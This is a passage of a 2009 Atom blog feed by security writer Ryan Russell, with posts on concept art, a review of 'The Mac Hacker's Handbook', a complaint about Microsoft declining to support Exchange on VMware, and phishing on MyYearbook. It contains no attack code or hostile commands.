<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" media="screen" href="/~d/styles/atom10full.xsl"?><?xml-stylesheet type="text/css" media="screen" href="http://feeds.feedburner.com/~d/styles/itemcontent.css"?><feed xmlns="http://www.w3.org/2005/Atom" xmlns:openSearch="http://a9.com/-/spec/opensearchrss/1.0/" xmlns:georss="http://www.georss.org/georss" xmlns:feedburner="http://rssnamespace.org/feedburner/ext/1.0"><id>tag:blogger.com,1999:blog-18579416</id><updated>2009-11-10T13:29:38.387-08:00</updated><title type="text">ryanlrussell</title><subtitle type="html" /><link rel="http://schemas.google.com/g/2005#feed" type="application/atom+xml" href="http://ryanlrussell.blogspot.com/feeds/posts/default" /><link rel="alternate" type="text/html" href="http://ryanlrussell.blogspot.com/" /><link rel="hub" href="http://pubsubhubbub.appspot.com/" /><link rel="next" type="application/atom+xml" href="http://www.blogger.com/feeds/18579416/posts/default?start-index=26&amp;max-results=25" /><author><name>Ryan Russell</name><uri>http://www.blogger.com/profile/13265663681454609204</uri><email>ryan@thievco.com</email></author><generator version="7.00" uri="http://www.blogger.com">Blogger</generator><openSearch:totalResults>74</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>25</openSearch:itemsPerPage><link rel="self" href="http://feeds.feedburner.com/Ryanlrussell" type="application/atom+xml" /><atom10:link xmlns:atom10="http://www.w3.org/2005/Atom" rel="hub" href="http://pubsubhubbub.appspot.com" /><entry><id>tag:blogger.com,1999:blog-18579416.post-4288414193702354258</id><published>2009-05-11T21:22:00.001-07:00</published><updated>2009-05-11T21:28:53.658-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="pneumopunk" /><category scheme="http://www.blogger.com/atom/ns#" term="stories" /><title type="text">Concept Art</title><content type="html">Some concept art for a project I'm working on with my oldest son. He's the artist, not I.&lt;p&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_ZPESRkoUdM8/Sgj6zLjPetI/AAAAAAAAACs/qC5yQkzg08A/s1600-h/concept80001.JPG"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 157px;" src="http://2.bp.blogspot.com/_ZPESRkoUdM8/Sgj6zLjPetI/AAAAAAAAACs/qC5yQkzg08A/s400/concept80001.JPG" alt="" id="BLOGGER_PHOTO_ID_5334789515801230034" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_ZPESRkoUdM8/Sgj6tEPXZRI/AAAAAAAAACk/DMefHN6mm0Q/s1600-h/concept70001.JPG"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 310px;" src="http://2.bp.blogspot.com/_ZPESRkoUdM8/Sgj6tEPXZRI/AAAAAAAAACk/DMefHN6mm0Q/s400/concept70001.JPG" alt="" id="BLOGGER_PHOTO_ID_5334789410759599378" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_ZPESRkoUdM8/Sgj6ojaOYHI/AAAAAAAAACc/l71VtZhU35o/s1600-h/concept60001.JPG"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 246px;" src="http://3.bp.blogspot.com/_ZPESRkoUdM8/Sgj6ojaOYHI/AAAAAAAAACc/l71VtZhU35o/s400/concept60001.JPG" alt="" id="BLOGGER_PHOTO_ID_5334789333227298930" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_ZPESRkoUdM8/Sgj6kJmB-sI/AAAAAAAAACU/A6T07ioy2bE/s1600-h/concept50001.JPG"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 304px; height: 400px;" src="http://4.bp.blogspot.com/_ZPESRkoUdM8/Sgj6kJmB-sI/AAAAAAAAACU/A6T07ioy2bE/s400/concept50001.JPG" alt="" id="BLOGGER_PHOTO_ID_5334789257578019522" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_ZPESRkoUdM8/Sgj6eVCbFHI/AAAAAAAAACM/NdbDRDVnI8Y/s1600-h/concept40001.JPG"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 309px; height: 400px;" src="http://3.bp.blogspot.com/_ZPESRkoUdM8/Sgj6eVCbFHI/AAAAAAAAACM/NdbDRDVnI8Y/s400/concept40001.JPG" alt="" id="BLOGGER_PHOTO_ID_5334789157570679922" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_ZPESRkoUdM8/Sgj6VHuBM_I/AAAAAAAAACE/ftXBW6WIMUU/s1600-h/concept30001.JPG"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 304px;" src="http://4.bp.blogspot.com/_ZPESRkoUdM8/Sgj6VHuBM_I/AAAAAAAAACE/ftXBW6WIMUU/s400/concept30001.JPG" alt="" id="BLOGGER_PHOTO_ID_5334788999376614386" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_ZPESRkoUdM8/Sgj505buxoI/AAAAAAAAAB0/O7hHVVK3aFU/s1600-h/concept10001.JPG"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 291px; height: 400px;" src="http://4.bp.blogspot.com/_ZPESRkoUdM8/Sgj505buxoI/AAAAAAAAAB0/O7hHVVK3aFU/s400/concept10001.JPG" alt="" id="BLOGGER_PHOTO_ID_5334788445785998978" border="0" /&gt;&lt;/a&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_ZPESRkoUdM8/Sgj6JZx27NI/AAAAAAAAAB8/i_bjcj_OviI/s1600-h/concept20001.JPG"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 285px; height: 400px;" src="http://2.bp.blogspot.com/_ZPESRkoUdM8/Sgj6JZx27NI/AAAAAAAAAB8/i_bjcj_OviI/s400/concept20001.JPG" alt="" id="BLOGGER_PHOTO_ID_5334788798066126034" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/18579416-4288414193702354258?l=ryanlrussell.blogspot.com'/&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/Ryanlrussell/~4/XrC2IgV55x4" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://ryanlrussell.blogspot.com/feeds/4288414193702354258/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="https://www.blogger.com/comment.g?blogID=18579416&amp;postID=4288414193702354258" title="3 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/18579416/posts/default/4288414193702354258" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/18579416/posts/default/4288414193702354258" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/Ryanlrussell/~3/XrC2IgV55x4/concept-art.html" title="Concept Art" /><author><name>Ryan Russell</name><uri>http://www.blogger.com/profile/13265663681454609204</uri><email>ryan@thievco.com</email><gd:extendedProperty xmlns:gd="http://schemas.google.com/g/2005" name="OpenSocialUserId" value="04460106435990361369" /></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://2.bp.blogspot.com/_ZPESRkoUdM8/Sgj6zLjPetI/AAAAAAAAACs/qC5yQkzg08A/s72-c/concept80001.JPG" height="72" width="72" /><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">3</thr:total><feedburner:origLink>http://ryanlrussell.blogspot.com/2009/05/concept-art.html</feedburner:origLink></entry><entry><id>tag:blogger.com,1999:blog-18579416.post-7936927584887217546</id><published>2009-05-11T20:22:00.000-07:00</published><updated>2009-05-11T21:13:48.960-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="malware" /><category scheme="http://www.blogger.com/atom/ns#" term="OS X sucks" /><category scheme="http://www.blogger.com/atom/ns#" term="books" /><category scheme="http://www.blogger.com/atom/ns#" term="RE" /><category scheme="http://www.blogger.com/atom/ns#" term="security" /><title type="text">The Mac Hacker's Handbook</title><content type="html">&lt;div style="text-align: left;"&gt;&lt;iframe src="http://rcm.amazon.com/e/cm?t=thievco&amp;amp;o=1&amp;amp;p=8&amp;amp;l=as1&amp;amp;asins=0470395362&amp;amp;fc1=000000&amp;amp;IS2=1&amp;amp;lt1=_blank&amp;amp;m=amazon&amp;amp;lc1=0000FF&amp;amp;bc1=000000&amp;amp;bg1=FFFFFF&amp;amp;f=ifr" style="width: 120px; height: 240px;" marginwidth="0" marginheight="0" frameborder="0" scrolling="no"&gt;&lt;/iframe&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;The Mac Hacker's Handbook is the best reference for Mac-specific attack information that I have found. At 368 pages, it may appear small compared to the typical 750+ page security tome. That's because the authors have done a near-perfect job of sticking to the topic at hand, the Mac. The authors do not succumb to the usual temptation to try and teach assembly language or reverse engineering. Rather, they do an excellent job touching on those topics in an OS X context, and assume the reader has a little background in that area already, or can otherwise keep up. I have done some limited research into the areas of Mac malware and process injection in the past. This book has done a fantastic job of filling in many holes in my knowledge that I hadn't been able to take care of before. Plus, it introduced me to a number of Mac-specific security features I wasn't aware of before. Highly recommended for anyone interested in Mac security.&lt;br /&gt;&lt;br /&gt;Detailed commentary follows.&lt;br /&gt;&lt;br /&gt;The authors Charlie Miller and Dino Dai Zovi have impressed me on several levels.&lt;br /&gt;&lt;br /&gt;A couple of years ago, I did a presentation of Mac malware, where I researched some similar areas on my own. The purpose of my talk was to demonstrate that the privilege separation on a typical single-user OS X box made no difference, because an attacker could do everything they need from user mode.&lt;br /&gt;&lt;br /&gt;My skills are somewhere between beginner and intermediate in the areas of programming, reverse engineering, vulnerability research and exploit writing. With a lot of work, I was able to create a very crude keyboard sniffer by attaching a library to launched processes. In one chapter (chapter 11), this book spelled out everything I needed to know and more. And implements several useful injected components in a much more flexible way than I was able to. I could have really used this information then.&lt;br /&gt;&lt;br /&gt;I ran across many of the same libraries and examples that the authors reference in the book. However, they were mostly code examples with no context, intended to be groked by hard-core Mac programmers. Here, they are presented in an actual understandable way, building on examples as they go. It makes a huge difference. The level of writing meshed perfectly with my past knowledge and filled in the holes I had. I have an advantage over a rank beginner, but I suspect they have reached as wide an audience as is possible with their writing.&lt;br /&gt;&lt;br /&gt;They do this consistently throughout the book. And this is what really made this an excellent book for me, was the actual writing. You'll have to excuse me if I geek out a little bit on this topic, but I've written a few technical books myself, and I have a great appreciation for how hard it is to do this well.&lt;br /&gt;&lt;br /&gt;There are many traps one can fall into when writing a book like this. A lot of the topics are circular. As in, it's difficult to pick a sane order to follow, and not repeat a lot of information. There's always a temptation to try and show off advanced topics, and not adequately cover the intro material. It's easy to get lazy and not put the time into explaining a concept, assuming everyone knows it. Authors sometimes dump a lot of pictures and code on the reader for length.&lt;br /&gt;&lt;br /&gt;These authors fell for none of these. The ordering of topics and advancing difficulty seem ideal. Code is almost uniformly useful and well-documented. They don't beat you over the head with example after example for the same topic. Rather than attempting to include a complete PowerPC and x86 instruction reference, they give you the minimum set of instructions that they used. The pacing was great. I was neither bored reading things I knew, nor unable to keep up with the material (until I struggled slightly to absorb the last chapter or two.)&lt;br /&gt;&lt;br /&gt;Production values are good. The price is great, the length is very appropriate. Editing is good. (Not perfect; I spotted a dozen very minor typos. But then, I can't turn off my internal proofreader anymore, you're unlikely to notice most if any of those.)&lt;br /&gt;&lt;br /&gt;There are other minor things to appreciate if you've been around vulnerabilities and exploits for a while. I feel like they did a great job explaining heap exploitation, compared to other attempts I've read. I very much enjoyed the little bits of history when they discuss who pioneered a particular technique. Most of Dino's code has a date in the comments, so you have some idea what was known at the time.&lt;br /&gt;&lt;br /&gt;I'd go so far as to say that this book really is a general book about how to find and exploit vulnerabilities, using the Mac as your research platform. And it turns out that the Mac is a great place to learn.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/18579416-7936927584887217546?l=ryanlrussell.blogspot.com'/&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/Ryanlrussell/~4/epizjGrrKIA" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://ryanlrussell.blogspot.com/feeds/7936927584887217546/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="https://www.blogger.com/comment.g?blogID=18579416&amp;postID=7936927584887217546" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/18579416/posts/default/7936927584887217546" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/18579416/posts/default/7936927584887217546" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/Ryanlrussell/~3/epizjGrrKIA/mac-hackers-handbook.html" title="The Mac Hacker's Handbook" /><author><name>Ryan Russell</name><uri>http://www.blogger.com/profile/13265663681454609204</uri><email>ryan@thievco.com</email><gd:extendedProperty xmlns:gd="http://schemas.google.com/g/2005" name="OpenSocialUserId" value="04460106435990361369" /></author><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total><feedburner:origLink>http://ryanlrussell.blogspot.com/2009/05/mac-hackers-handbook.html</feedburner:origLink></entry><entry><id>tag:blogger.com,1999:blog-18579416.post-9145818282934086465</id><published>2009-04-02T00:02:00.000-07:00</published><updated>2009-04-02T01:13:38.731-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="IT" /><category scheme="http://www.blogger.com/atom/ns#" term="v12n" /><title type="text">Hey! You! Get off of that cloud!</title><content type="html">Or Microsoft won't support you.&lt;br /&gt;&lt;br /&gt;We've had an interesting several days dealing with Microsoft at work. &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_0"&gt;BigFix&lt;/span&gt; recently signed an Enterprise Agreement with Microsoft, where we committed to X licenses of the workstation OS, and put a number of other things under Select Agreement, including Server OSes, Exchange, &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_1"&gt;SQL&lt;/span&gt; Server, &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_2"&gt;MSDN&lt;/span&gt; subscriptions, and so on. This came with a few free support calls.&lt;br /&gt;&lt;br /&gt;Our OS X and iPhone users (in particular, our CEO) have been anxious to get on Exchange 2007 for the rumored improved Entourage and iPhone support around calendars. So when our CFO wrote the large (for us) check to Microsoft, the IT Team committed to implementing Exchange 2007 in an aggressive time frame. Currently, we're using Exchange and &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_3"&gt;OWA&lt;/span&gt; 2003.&lt;br /&gt;&lt;br /&gt;Doing some research, it looked like the best option was to build new Exchange and &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_4"&gt;OWA&lt;/span&gt; machines and migrate mailboxes. It also looks like the best OS choice is Windows 2003 Server Enterprise 64-bit. We read some documents that indicate Exchange 2007 isn't fully supported on 32-bit Server, and has only just been qualified on Server 2008.&lt;br /&gt;&lt;br /&gt;We put Exchange itself on physical hardware for performance reasons. It's probably not really &lt;span class="blsp-spelling-corrected" id="SPELLING_ERROR_5"&gt;necessary&lt;/span&gt;, but we're being conservative. We used a Dell 2850 with about 1TB of disk and 32GB of RAM that was a &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_6"&gt;VMWare&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_7"&gt;ESX&lt;/span&gt; server until I replaced it with an even larger Dell R900. It's running Windows Server 2003 Enterprise R2 64-bit. The &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_8"&gt;OWA&lt;/span&gt; machine doesn't need any particular performance characteristics though, so we decided to put it on a &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_9"&gt;VM&lt;/span&gt;. It's on the same OS. No problems running 64-bit guests, by the way. We do it all the time.&lt;br /&gt;&lt;br /&gt;Like many companies, we're trying to &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_10"&gt;virtualize&lt;/span&gt; a lot of our infrastructure. We've made a fairly large investment in &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_11"&gt;VMWare's&lt;/span&gt; enterprise products for a company our size, especially in our Engineering organization. I won't get into the benefits here, but for us they are substantial, and our entire disaster recovery plan is tied to &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_12"&gt;VMWare&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_13"&gt;ESX&lt;/span&gt;.&lt;br /&gt;&lt;br /&gt;Things were on schedule with the Exchange 2007 configuration. In the interest of time, we had made one support call to Microsoft for install problems on the physical hardware. It burned the equivalent of $299, but for our schedule, it was easily worth it. Exchange was working.&lt;br /&gt;&lt;br /&gt;We ran into a second issue with &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_14"&gt;OWA&lt;/span&gt; 2007. My sysadmin was having trouble getting Outlook Anywhere to work correctly with Outlook 2003 and Entourage. He called again. This time, while the Microsoft support engineer was remote into our &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_15"&gt;OWA&lt;/span&gt; server, he saw &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_16"&gt;VMWare&lt;/span&gt; Tools in the Add/Remove Programs list. He asked, and we said yeah, it's a &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_17"&gt;VM&lt;/span&gt;.&lt;br /&gt;&lt;br /&gt;He said he could not support us, closed the ticket, and advised us to rebuild on physical hardware and call back. The support engineer also said that if we had had Premier Support, that he could "Look into it." He cited this article: &lt;a href="http://support.microsoft.com/kb/897615"&gt;http://support.microsoft.com/kb/897615&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;I'll summarize it: Microsoft only supports &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_18"&gt;virtualized&lt;/span&gt; Windows and MS apps if you use Microsoft &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_19"&gt;virtualization&lt;/span&gt; software.&lt;br /&gt;&lt;br /&gt;That had never &lt;span class="blsp-spelling-corrected" id="SPELLING_ERROR_20"&gt;occurred&lt;/span&gt; to any of us in the IT department. That policy is so ridiculous as to defy belief.&lt;br /&gt;&lt;br /&gt;I complained into the air on Twitter. I got two categories of response: Lie to Microsoft Support, and No, they do support it. It's called the &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_21"&gt;SVVP&lt;/span&gt;.&lt;br /&gt;&lt;br /&gt;Sure, we're willing to lie to support. We just didn't know it was &lt;span class="blsp-spelling-corrected" id="SPELLING_ERROR_22"&gt;necessary&lt;/span&gt;, and we got caught this time.&lt;br /&gt;&lt;br /&gt;By the way, I'm going to jump ahead in the story for a moment and say that yes, we did rebuild &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_23"&gt;OWA&lt;/span&gt; on physical hardware and call back. And it turns out that the problem was on the Exchange server, NOT the &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_24"&gt;OWA&lt;/span&gt; server. So no, it's not possible that &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_25"&gt;VMWare&lt;/span&gt; was a factor, and yes, we did waste days and slipped our schedule for no good reason. I say this mostly to save you the trouble of trying to fix my technical problem, it's already done.&lt;br /&gt;&lt;br /&gt;And of course, that's not the real issue.&lt;br /&gt;&lt;br /&gt;During these several days while my sysadmin gave up and build a physical box to appease Microsoft Support, the rest of us were complaining bitterly to our Microsoft sales rep. We still could not believe that they really intended to have that as a policy. He insists that they did. He knows, because he has had "lots of customers complain about it."&lt;br /&gt;&lt;br /&gt;What about the &lt;a href="http://www.windowsservercatalog.com/svvp.aspx"&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_26"&gt;SVVP&lt;/span&gt;&lt;/a&gt;, I asked my sales rep? Both a Microsoft employee and a &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_27"&gt;VMWare&lt;/span&gt; employee pointed out to me on Twitter that &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_28"&gt;ESX&lt;/span&gt; IS supported. Nope, my sales rep says that's only for the Windows OS itself.&lt;br /&gt;&lt;br /&gt;But wait, the &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_29"&gt;VMWare&lt;/span&gt; guy pointed out to me that &lt;a href="http://technet.microsoft.com/en-us/library/cc794548.aspx"&gt;Exchange on &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_30"&gt;VM&lt;/span&gt;&lt;/a&gt; is specifically covered under the &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_31"&gt;SVVP&lt;/span&gt;. Surely this means I'm good, right? This is just a case of Microsoft Support not being up on the latest Microsoft policies?&lt;br /&gt;&lt;br /&gt;Nope. That article only covers Exchange 2007 SP1 (good) on &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_32"&gt;SVVP&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_33"&gt;virtualization&lt;/span&gt; software (good) on Windows Server 2008 (bad, I'm using Server 2003.)&lt;br /&gt;&lt;br /&gt;So yes, they STILL turned me down for support on &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_34"&gt;ESX&lt;/span&gt;. But they would support all of it if I was using Hyper-V.&lt;br /&gt;&lt;br /&gt;This is far worse than my little problem not being handled. This would seem to indicate that Microsoft intends to qualify every single app they produce as being covered on &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_35"&gt;VMWare&lt;/span&gt; or not. And only the versions that they feel like. And only if it's on a Windows version they want to cover.&lt;br /&gt;&lt;br /&gt;So the latest set of articles on how to tune &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_36"&gt;SQL&lt;/span&gt; Server 2005 on &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_37"&gt;ESX&lt;/span&gt;? Forget it. It's not supported.&lt;br /&gt;&lt;br /&gt;It's really hard to not immediately leap to accusing Microsoft of more &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_38"&gt;anticompetitive&lt;/span&gt; behavior and vendor lock-in for their own &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_39"&gt;virtualization&lt;/span&gt; technology.&lt;br /&gt;&lt;br /&gt;Does Microsoft qualify every individual app on the hardware in the supported hardware list? Of course not. If the OS works, the apps should work. That is the basic job of the OS, yes? To abstract the hardware for the apps? So if Microsoft has qualified Windows 2003 on &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_40"&gt;ESX&lt;/span&gt;, why should they decline to support &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_41"&gt;OWA&lt;/span&gt; on it?&lt;br /&gt;&lt;br /&gt;Is there an Exchange 2007 SP1 supported hardware list somewhere I'm not aware of?&lt;br /&gt;&lt;br /&gt;At my most generous, I can assume that Microsoft Support is just not aware of Microsoft's own policies on this topic. And Microsoft Sales isn't either. My rep still says he can't help me. I can even see wanting to qualify Microsoft OSes on &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_42"&gt;ESX&lt;/span&gt; "hardware", just like they would on Dell or HP. (Though when is the last time Microsoft Support even ASKED you what hardware you're running on?)&lt;br /&gt;&lt;br /&gt;But to try and take a policy that every app needs to be qualified individually, down to the service pack level? Unless you're on Microsoft's &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_43"&gt;virtualization&lt;/span&gt; technology?&lt;br /&gt;&lt;br /&gt;That's just quite possibly criminal.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/18579416-9145818282934086465?l=ryanlrussell.blogspot.com'/&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/Ryanlrussell/~4/pN-ELzs8wJo" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://ryanlrussell.blogspot.com/feeds/9145818282934086465/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="https://www.blogger.com/comment.g?blogID=18579416&amp;postID=9145818282934086465" title="17 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/18579416/posts/default/9145818282934086465" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/18579416/posts/default/9145818282934086465" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/Ryanlrussell/~3/pN-ELzs8wJo/hey-you-get-off-of-that-cloud.html" title="Hey! You! Get off of that cloud!" /><author><name>Ryan Russell</name><uri>http://www.blogger.com/profile/13265663681454609204</uri><email>ryan@thievco.com</email><gd:extendedProperty xmlns:gd="http://schemas.google.com/g/2005" name="OpenSocialUserId" value="04460106435990361369" /></author><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">17</thr:total><feedburner:origLink>http://ryanlrussell.blogspot.com/2009/04/hey-you-get-off-of-that-cloud.html</feedburner:origLink></entry><entry><id>tag:blogger.com,1999:blog-18579416.post-5111438917068441785</id><published>2008-08-04T11:48:00.000-07:00</published><updated>2008-08-04T11:49:30.422-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="egoblogging" /><title type="text">Twitter</title><content type="html">Twitter:&lt;br /&gt;&lt;a href="http://twitter.com/ryanlrussell"&gt;http://twitter.com/ryanlrussell&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Tweet, or something.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/18579416-5111438917068441785?l=ryanlrussell.blogspot.com'/&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/Ryanlrussell/~4/k9emZFYGU1k" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://ryanlrussell.blogspot.com/feeds/5111438917068441785/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="https://www.blogger.com/comment.g?blogID=18579416&amp;postID=5111438917068441785" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/18579416/posts/default/5111438917068441785" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/18579416/posts/default/5111438917068441785" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/Ryanlrussell/~3/k9emZFYGU1k/twitter.html" title="Twitter" /><author><name>Ryan Russell</name><uri>http://www.blogger.com/profile/13265663681454609204</uri><email>ryan@thievco.com</email><gd:extendedProperty xmlns:gd="http://schemas.google.com/g/2005" name="OpenSocialUserId" value="04460106435990361369" /></author><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total><feedburner:origLink>http://ryanlrussell.blogspot.com/2008/08/twitter.html</feedburner:origLink></entry><entry><id>tag:blogger.com,1999:blog-18579416.post-4604125511726947987</id><published>2008-07-21T12:08:00.000-07:00</published><updated>2008-07-21T12:21:14.043-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="egoblogging" /><category scheme="http://www.blogger.com/atom/ns#" term="security" /><title type="text">MyYearbook</title><content type="html">I've been wasting a bunch of time on MyYearbook.com, a MTWWTOSNS (massively time-wasting web-two-oh social-networking site.) If you'd like to descend into madness with me, click here join join for my personal gain:&lt;br /&gt;&lt;a href="http://www.myyearbook.com/join.php?ref=1211864511"&gt;Be Ryan's Friend&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Several interesting aspects to this one, for security people. First, the are many sociological aspects. For example, what happens if you tell people they &lt;span style="font-style: italic; font-weight: bold;"&gt;can't&lt;/span&gt; post naked pics? Second, there is a play money currency, which drives everyone's behavior. Finally, they are getting phished left and right from &lt;span style="font-style: italic; font-weight: bold;"&gt;within&lt;/span&gt; the site.&lt;br /&gt;&lt;br /&gt;And the staff there appears to be so woefully unprepared to deal with it. When I saw the phishing, I thought I might mail their abuse contact info (only email address I found published), and see if they needed info, if I could put them in touch with a takedown group, etc. I got bounces from gmail. Um, your abuse email at your own domain depends on gmail?&lt;br /&gt;&lt;br /&gt;The site is absolutely begging for someone to start using XSS. The game model they have basically demands it. For example, your popularity depends on profile views. And I can post a pretty wide range of HTML to someone in about 20 different ways. I haven't tried to see if I can find any XSS. Mostly because I don't trust myself not to abuse it.&lt;br /&gt;&lt;br /&gt;But my favorite thing about MyYearbook that I just realized, while sitting in JFK coming back from HOPE. This site is teaching millions of people how to do simple HTML. And nearly half of these people are below average intelligence.&lt;br /&gt;&lt;br /&gt;Edutainment, indeed.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/18579416-4604125511726947987?l=ryanlrussell.blogspot.com'/&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/Ryanlrussell/~4/13upod8TmSI" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://ryanlrussell.blogspot.com/feeds/4604125511726947987/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="https://www.blogger.com/comment.g?blogID=18579416&amp;postID=4604125511726947987" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/18579416/posts/default/4604125511726947987" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/18579416/posts/default/4604125511726947987" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/Ryanlrussell/~3/13upod8TmSI/myyearbook.html" title="MyYearbook" /><author><name>Ryan 